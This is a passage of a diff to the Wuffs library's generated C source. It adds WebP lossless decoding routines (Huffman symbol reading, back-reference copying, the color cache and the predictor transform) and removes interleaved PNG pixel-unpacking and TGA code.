((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = (((uint32_t)(v_node)) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_pixel_g = ((uint32_t)(((uint16_t)(v_node & 32767u)))); ++ if (v_pixel_g < 256u) { ++ v_color = (v_pixel_g << 8u); ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[1u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } else { +- if (3u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[2u]; +- v_bits_unpacked[1u] = v_s.ptr[1u]; +- v_bits_unpacked[2u] = v_s.ptr[0u]; +- v_bits_unpacked[3u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 3u); +- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 16u); ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[2u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- } else if (v_src_bytes_per_pixel <= ((uint64_t)(v_s.len))) { +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__slice_u8__subslice_j(v_s, v_src_bytes_per_pixel)); +- v_s = wuffs_base__slice_u8__subslice_i(v_s, v_src_bytes_per_pixel); ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; + } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; + } +- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); +- } +- } else if (self->private_impl.f_depth < 8u) { +- v_multiplier = 1u; +- if (self->private_impl.f_color_type == 0u) { +- v_multiplier = WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[self->private_impl.f_depth]; +- } +- v_shift = ((8u - self->private_impl.f_depth) & 7u); +- v_packs_remaining = 0u; +- while (v_x < self->private_impl.f_frame_rect_x1) { +- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); +- if (v_i <= ((uint64_t)(v_dst.len))) { +- if ((v_packs_remaining == 0u) && (1u <= ((uint64_t)(v_s.len)))) { +- v_packs_remaining = WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[self->private_impl.f_depth]; +- v_bits_packed = v_s.ptr[0u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 0u); ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[3u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; + } +- v_bits_unpacked[0u] = ((uint8_t)((v_bits_packed >> v_shift) * v_multiplier)); +- v_bits_packed = ((uint8_t)(v_bits_packed << self->private_impl.f_depth)); +- v_packs_remaining = ((uint8_t)(v_packs_remaining - 1u)); +- if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { +- v_bits_unpacked[1u] = v_bits_unpacked[0u]; +- v_bits_unpacked[2u] = v_bits_unpacked[0u]; +- v_bits_unpacked[3u] = 255u; +- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; + } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); +- } else { +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 1)); ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; + } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; + } +- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); +- } +- } else { +- while (v_x < self->private_impl.f_frame_rect_x1) { +- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); +- if (v_i <= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_color_type == 0u) { +- if (2u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[1u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[1u]; +- v_bits_unpacked[3u] = v_s.ptr[0u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = 255u; +- v_bits_unpacked[7u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); +- if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint64_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint64_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint64_t)(v_bits_unpacked[3u])) << 24u) | +- (((uint64_t)(v_bits_unpacked[4u])) << 32u) | +- (((uint64_t)(v_bits_unpacked[5u])) << 40u) | +- (((uint64_t)(v_bits_unpacked[6u])) << 48u) | +- (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- v_bits_unpacked[4u] = 0u; +- v_bits_unpacked[5u] = 0u; +- v_bits_unpacked[6u] = 0u; +- v_bits_unpacked[7u] = 0u; ++ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 24u); ++ } else if (v_pixel_g < 280u) { ++ if (v_pixel_g < 260u) { ++ v_back_ref_len_minus_1 = (v_pixel_g - 256u); ++ } else { ++ v_back_ref_len_n_bits = ((v_pixel_g - 258u) >> 1u); ++ v_back_ref_len_minus_1 = ((((uint32_t)(2u)) + (v_pixel_g & 1u)) << v_back_ref_len_n_bits); ++ while (self->private_impl.f_n_bits < v_back_ref_len_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; + } +- } else if (self->private_impl.f_color_type == 2u) { +- if (6u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[5u]; +- v_bits_unpacked[1u] = v_s.ptr[4u]; +- v_bits_unpacked[2u] = v_s.ptr[3u]; +- v_bits_unpacked[3u] = v_s.ptr[2u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = 255u; +- v_bits_unpacked[7u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); +- if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint64_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint64_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint64_t)(v_bits_unpacked[3u])) << 24u) | +- (((uint64_t)(v_bits_unpacked[4u])) << 32u) | +- (((uint64_t)(v_bits_unpacked[5u])) << 40u) | +- (((uint64_t)(v_bits_unpacked[6u])) << 48u) | +- (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- v_bits_unpacked[4u] = 0u; +- v_bits_unpacked[5u] = 0u; +- v_bits_unpacked[6u] = 0u; +- v_bits_unpacked[7u] = 0u; ++ if (self->private_impl.f_n_bits >= v_back_ref_len_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_back_ref_len_minus_1 += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_back_ref_len_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_back_ref_len_n_bits; ++ self->private_impl.f_n_bits -= v_back_ref_len_n_bits; ++ } ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[4u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } +- } else if (self->private_impl.f_color_type == 4u) { +- if (4u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[1u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[1u]; +- v_bits_unpacked[3u] = v_s.ptr[0u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = v_s.ptr[3u]; +- v_bits_unpacked[7u] = v_s.ptr[2u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_back_ref_dist_sym = ((uint32_t)(((uint16_t)(v_node & 32767u)))); ++ if (v_back_ref_dist_sym < 4u) { ++ v_back_ref_dist_premap_minus_1 = v_back_ref_dist_sym; ++ } else if (v_back_ref_dist_sym < 40u) { ++ v_back_ref_dist_n_bits = ((v_back_ref_dist_sym - 2u) >> 1u); ++ v_back_ref_dist_premap_minus_1 = ((((uint32_t)(2u)) + (v_back_ref_dist_sym & 1u)) << v_back_ref_dist_n_bits); ++ while (self->private_impl.f_n_bits < v_back_ref_dist_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; + } +- } else { +- if (8u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[5u]; +- v_bits_unpacked[1u] = v_s.ptr[4u]; +- v_bits_unpacked[2u] = v_s.ptr[3u]; +- v_bits_unpacked[3u] = v_s.ptr[2u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = v_s.ptr[7u]; +- v_bits_unpacked[7u] = v_s.ptr[6u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ if (self->private_impl.f_n_bits >= v_back_ref_dist_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; + } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; + } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 8)); ++ v_back_ref_dist_premap_minus_1 += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_back_ref_dist_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_back_ref_dist_n_bits; ++ self->private_impl.f_n_bits -= v_back_ref_dist_n_bits; + } +- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); ++ if (v_back_ref_dist_premap_minus_1 >= 120u) { ++ v_back_ref_dist_minus_1 = (v_back_ref_dist_premap_minus_1 - 120u); ++ } else { ++ v_dm = ((uint32_t)(WUFFS_WEBP__DISTANCE_MAP[v_back_ref_dist_premap_minus_1])); ++ v_dy = (v_dm >> 4u); ++ v_dx = ((uint32_t)(7u - (v_dm & 15u))); ++ v_back_ref_dist_minus_1 = ((uint32_t)((a_width * v_dy) + v_dx)); ++ } ++ v_p_end = (v_p + ((uint64_t)(((v_back_ref_len_minus_1 + 1u) * 4u)))); ++ v_dist4 = ((((uint64_t)(v_back_ref_dist_minus_1)) * 4u) + 4u); ++ if ((v_p_end > v_p_max) || (v_p_end > ((uint64_t)(a_dst.len))) || (v_p < v_dist4)) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_back_reference); ++ goto exit; ++ } ++ v_q = (v_p - v_dist4); ++ while ((v_q < v_p) && (v_p < v_p_end)) { ++ a_dst.ptr[v_p] = a_dst.ptr[v_q]; ++ v_p += 1u; ++ v_q += 1u; ++ } ++ v_x += (v_back_ref_len_minus_1 + 1u); ++ while (v_x >= a_width) { ++ v_x -= a_width; ++ v_y += 1u; ++ } ++ continue; ++ } else { ++ if ((v_color_cache_p > v_p) || (v_p > ((uint64_t)(a_dst.len)))) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; ++ } ++ v_color_cache_pixels = wuffs_base__slice_u8__subslice_ij(a_dst, v_color_cache_p, v_p); ++ v_color_cache_p = v_p; ++ v_color_cache_shift = ((32u - self->private_impl.f_color_cache_bits) & 31u); ++ while (((uint64_t)(v_color_cache_pixels.len)) >= 4u) { ++ v_color = wuffs_base__peek_u32le__no_bounds_check(v_color_cache_pixels.ptr); ++ self->private_data.f_color_cache[((((uint32_t)(v_color * 506832829u)) >> v_color_cache_shift) & 2047u)] = v_color; ++ v_color_cache_pixels = wuffs_base__slice_u8__subslice_i(v_color_cache_pixels, 4u); ++ } ++ v_color = self->private_data.f_color_cache[((v_pixel_g - 280u) & 2047u)]; ++ } ++ if (v_p > ((uint64_t)(a_dst.len))) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; ++ } ++ v_dst_pixel = wuffs_base__slice_u8__subslice_i(a_dst, v_p); ++ if (((uint64_t)(v_dst_pixel.len)) < 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; ++ } ++ wuffs_base__poke_u32le__no_bounds_check(v_dst_pixel.ptr, v_color); ++ v_p += 4u; ++ v_x += 1u; ++ if (v_x == a_width) { ++ v_x = 0u; ++ v_y += 1u; + } + } +- v_prev_row = v_curr_row; +- v_y += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u]); +- } +- return wuffs_base__make_status(NULL); +-} + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) ++ goto ok; ++ ok: ++ self->private_impl.p_decode_pixels_slow = 0; ++ goto exit; ++ } + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_pixels_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_pixels_slow.v_p = v_p; ++ self->private_data.s_decode_pixels_slow.v_p_max = v_p_max; ++ self->private_data.s_decode_pixels_slow.v_tile_size_log2 = v_tile_size_log2; ++ self->private_data.s_decode_pixels_slow.v_width_in_tiles = v_width_in_tiles; ++ self->private_data.s_decode_pixels_slow.v_x = v_x; ++ self->private_data.s_decode_pixels_slow.v_y = v_y; ++ self->private_data.s_decode_pixels_slow.v_hg = v_hg; ++ self->private_data.s_decode_pixels_slow.v_node = v_node; ++ self->private_data.s_decode_pixels_slow.v_color = v_color; ++ self->private_data.s_decode_pixels_slow.v_back_ref_len_n_bits = v_back_ref_len_n_bits; ++ self->private_data.s_decode_pixels_slow.v_back_ref_len_minus_1 = v_back_ref_len_minus_1; ++ self->private_data.s_decode_pixels_slow.v_back_ref_dist_n_bits = v_back_ref_dist_n_bits; ++ self->private_data.s_decode_pixels_slow.v_back_ref_dist_premap_minus_1 = v_back_ref_dist_premap_minus_1; ++ self->private_data.s_decode_pixels_slow.v_color_cache_p = v_color_cache_p; + +-// ---------------- Status Codes Implementations ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-const char wuffs_tga__error__bad_header[] = "#tga: bad header"; +-const char wuffs_tga__error__bad_run_length_encoding[] = "#tga: bad run length encoding"; +-const char wuffs_tga__error__truncated_input[] = "#tga: truncated input"; +-const char wuffs_tga__error__unsupported_tga_file[] = "#tga: unsupported TGA file"; ++ return status; ++} + +-// ---------------- Private Consts ++// -------- func webp.decoder.apply_transform_predictor + +-// ---------------- Private Initializer Prototypes ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_predictor( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data) { ++ uint64_t v_w4 = 0; ++ wuffs_base__slice_u8 v_prev_row = {0}; ++ wuffs_base__slice_u8 v_curr_row = {0}; ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_tiles_per_row = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_y = 0; ++ uint32_t v_x = 0; ++ uint64_t v_t = 0; ++ wuffs_base__slice_u8 v_tile_data = {0}; ++ uint8_t v_mode = 0; ++ uint32_t v_l0 = 0; ++ uint32_t v_l1 = 0; ++ uint32_t v_l2 = 0; ++ uint32_t v_l3 = 0; ++ uint32_t v_c0 = 0; ++ uint32_t v_c1 = 0; ++ uint32_t v_c2 = 0; ++ uint32_t v_c3 = 0; ++ uint32_t v_t0 = 0; ++ uint32_t v_t1 = 0; ++ uint32_t v_t2 = 0; ++ uint32_t v_t3 = 0; ++ uint32_t v_sum_l = 0; ++ uint32_t v_sum_t = 0; ++ ++ if ((self->private_impl.f_width <= 0u) || (self->private_impl.f_height <= 0u)) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_w4 = ((uint64_t)((self->private_impl.f_width * 4u))); ++ v_curr_row = wuffs_base__utility__empty_slice_u8(); ++ if (v_w4 <= ((uint64_t)(a_pix.len))) { ++ v_curr_row = wuffs_base__slice_u8__subslice_j(a_pix, v_w4); ++ } ++ if (((uint64_t)(v_curr_row.len)) >= 4u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[3u] += 255u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ while (((uint64_t)(v_curr_row.len)) >= 8u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_curr_row.ptr[0u]; ++ v_curr_row.ptr[5u] += v_curr_row.ptr[1u]; ++ v_curr_row.ptr[6u] += v_curr_row.ptr[2u]; ++ v_curr_row.ptr[7u] += v_curr_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_curr_row = wuffs_base__slice_u8__subslice_i(v_curr_row, 4u); ++ } ++ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[0u])); ++ v_tiles_per_row = ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); ++ v_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); ++ v_y = 1u; ++ while (v_y < self->private_impl.f_height) { ++ v_t = ((uint64_t)((4u * (v_y >> v_tile_size_log2) * v_tiles_per_row))); ++ v_tile_data = wuffs_base__utility__empty_slice_u8(); ++ if (v_t <= ((uint64_t)(a_tile_data.len))) { ++ v_tile_data = wuffs_base__slice_u8__subslice_i(a_tile_data, v_t); ++ if (((uint64_t)(v_tile_data.len)) >= 4u) { ++ v_mode = ((uint8_t)(v_tile_data.ptr[1u] & 15u)); ++ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); ++ } ++ } ++ if (v_w4 <= ((uint64_t)(a_pix.len))) { ++ v_prev_row = a_pix; ++ a_pix = wuffs_base__slice_u8__subslice_i(a_pix, v_w4); ++ v_curr_row = a_pix; ++ } ++ if ((((uint64_t)(v_prev_row.len)) >= 4u) && (((uint64_t)(v_curr_row.len)) >= 4u)) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[0u] += v_prev_row.ptr[0u]; ++ v_curr_row.ptr[1u] += v_prev_row.ptr[1u]; ++ v_curr_row.ptr[2u] += v_prev_row.ptr[2u]; ++ v_curr_row.ptr[3u] += v_prev_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ v_x = 1u; ++ while (v_x < self->private_impl.f_width) { ++ if (((v_x & v_mask) == 0u) && (((uint64_t)(v_tile_data.len)) >= 4u)) { ++ v_mode = ((uint8_t)(v_tile_data.ptr[1u] & 15u)); ++ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); ++ } ++ if ((((uint64_t)(v_prev_row.len)) < 12u) || (((uint64_t)(v_curr_row.len)) < 8u)) { ++ break; ++ } ++ if (v_mode == 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[7u] += 255u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 1u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_curr_row.ptr[0u]; ++ v_curr_row.ptr[5u] += v_curr_row.ptr[1u]; ++ v_curr_row.ptr[6u] += v_curr_row.ptr[2u]; ++ v_curr_row.ptr[7u] += v_curr_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 2u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_prev_row.ptr[4u]; ++ v_curr_row.ptr[5u] += v_prev_row.ptr[5u]; ++ v_curr_row.ptr[6u] += v_prev_row.ptr[6u]; ++ v_curr_row.ptr[7u] += v_prev_row.ptr[7u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 3u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_prev_row.ptr[8u]; ++ v_curr_row.ptr[5u] += v_prev_row.ptr[9u]; ++ v_curr_row.ptr[6u] += v_prev_row.ptr[10u]; ++ v_curr_row.ptr[7u] += v_prev_row.ptr[11u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 4u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_prev_row.ptr[0u]; ++ v_curr_row.ptr[5u] += v_prev_row.ptr[1u]; ++ v_curr_row.ptr[6u] += v_prev_row.ptr[2u]; ++ v_curr_row.ptr[7u] += v_prev_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 5u) { ++ v_l0 = ((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u); ++ v_l1 = ((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u); ++ v_l2 = ((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u); ++ v_l3 = ((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((v_l0 + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((v_l1 + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((v_l2 + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((v_l3 + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 6u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[0u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[1u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[2u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[3u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 7u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[5u]))) 